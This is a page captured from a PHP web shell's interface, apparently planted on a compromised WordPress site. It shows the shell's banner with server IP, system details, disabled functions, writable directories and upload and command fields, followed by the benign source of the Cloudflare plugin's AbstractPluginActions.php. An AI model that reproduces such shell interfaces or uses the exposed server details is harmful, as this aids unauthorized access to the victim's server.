403Webshell
Server IP : 104.21.13.219  /  Your IP : 162.159.115.10
Web Server : nginx/1.26.1
System : Linux HE9229 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
User : www ( 1000)
PHP Version : 8.0.26
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/jl3_ph_com/wp-content/plugins/cloudflare/src/API/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/jl3_ph_com/wp-content/plugins/cloudflare/src/API/AbstractPluginActions.php
<?php

namespace Cloudflare\APO\API;

use Cloudflare\APO\Integration\DataStoreInterface;
use Cloudflare\APO\Integration\DefaultIntegration;

abstract class AbstractPluginActions
{
    protected $api;
    protected $config;
    protected $integrationAPI;
    protected $dataStore;
    protected $logger;
    protected $request;
    protected $clientAPI;

    /**
     * @param DefaultIntegration $defaultIntegration
     * @param APIInterface       $api
     * @param Request            $request
     */
    public function __construct(DefaultIntegration $defaultIntegration, APIInterface $api, Request $request)
    {
        $this->api = $api;
        $this->config = $defaultIntegration->getConfig();
        $this->integrationAPI = $defaultIntegration->getIntegrationAPI();
        $this->dataStore = $defaultIntegration->getDataStore();
        $this->logger = $defaultIntegration->getLogger();
        $this->request = $request;

        $this->clientAPI = new Client($defaultIntegration);
    }

    /**
     * @param APIInterface $api
     */
    public function setAPI(APIInterface $api)
    {
        $this->api = $api;
    }

    /**
     * @param Request $request
     */
    public function setRequest(Request $request)
    {
        $this->request = $request;
    }

    /**
     * @param APIInterface $clientAPI
     */
    public function setClientAPI(APIInterface $clientAPI)
    {
        $this->clientAPI = $clientAPI;
    }

    /**
     * @param DataStoreInterface $dataStore
     */
    public function setDataStore(DataStoreInterface $dataStore)
    {
        $this->dataStore = $dataStore;
    }

    public function setLogger(\Psr\Log\LoggerInterface $logger)
    {
        $this->logger = $logger;
    }

    /**
     * POST /account.
     *
     * @return mixed
     */
    public function login()
    {
        $requestBody = $this->request->getBody();
        if (empty($requestBody['apiKey'])) {
            return $this->api->createAPIError("Missing required parameter: 'apiKey'.");
        }
        if (empty($requestBody['email'])) {
            return $this->api->createAPIError("Missing required parameter: 'email'.");
        }

        $isCreated = $this->dataStore->createUserDataStore($requestBody['apiKey'], $requestBody['email'], null, null);
        if (!$isCreated) {
            return $this->api->createAPIError('Unable to save user credentials');
        }

        $params = array();
        // Only Wordpress gives us access to the zone name, so check for it here
        if ($this->integrationAPI instanceof \Cloudflare\APO\WordPress\WordPressAPI) {
            $params =  array('name' => $this->integrationAPI->getOriginalDomain());
        }

        //Make a test request to see if the API Key, email are valid
        $testRequest = new Request('GET', 'zones/', $params, array());
        $testResponse = $this->clientAPI->callAPI($testRequest);

        if (!$this->clientAPI->responseOk($testResponse)) {
            //remove bad credentials
            $this->dataStore->createUserDataStore(null, null, null, null);

            return $this->api->createAPIError('Email address or API key invalid.');
        }

        $response = $this->api->createAPISuccessResponse(array('email' => $requestBody['email']));

        return $response;
    }

    /**
     * GET /plugin/:zonedId/settings.
     *
     * @return mixed
     */
    public function getPluginSettings()
    {
        $settingsList = Plugin::getPluginSettingsKeys();

        $formattedSettings = array();
        foreach ($settingsList as $setting) {
            $value = $this->dataStore->get($setting);
            if ($value === null) {
                //setting hasn't been set yet.
                $value = $this->api->createPluginSettingObject($setting, null, true, null);
            }
            array_push($formattedSettings, $value);
        }

        $response = $this->api->createAPISuccessResponse(
            $formattedSettings
        );

        return $response;
    }

    /**
     * For PATCH /plugin/:zonedId/settings/:settingId
     * @return mixed
     * @throws \Exception
     */
    public function patchPluginSettings()
    {
        $path_array = explode('/', $this->request->getUrl());
        $settingId = $path_array[3];

        $body = $this->request->getBody();
        $value = $body['value'] ?? "";
        $options = $this->dataStore->set($settingId, $this->api->createPluginSettingObject($settingId, $value, true, true));

        if (!isset($options)) {
            return $this->api->createAPIError('Unable to update plugin settings');
        }

        if ($settingId === Plugin::SETTING_DEFAULT_SETTINGS) {
            try {
                $this->applyDefaultSettings();
            } catch (\Exception $e) {
                if ($e instanceof Exception\CloudFlareException) {
                    return $this->api->createAPIError($e->getMessage());
                } else {
                    throw $e;
                }
            }
        }

        $response = $this->api->createAPISuccessResponse($this->dataStore->get($settingId));

        return $response;
    }

    /**
     * For GET /userconfig
     * @return mixed
     */
    public function getConfig()
    {
        $response = $this->api->createAPISuccessResponse(
            []
        );

        return $response;
    }


    /**
     * Children should implement this method to apply the plugin specific default settings.
     *
     * @return mixed
     */
    abstract public function applyDefaultSettings();
}

Youez - 2016 - github.com/yon3zu
LinuXploit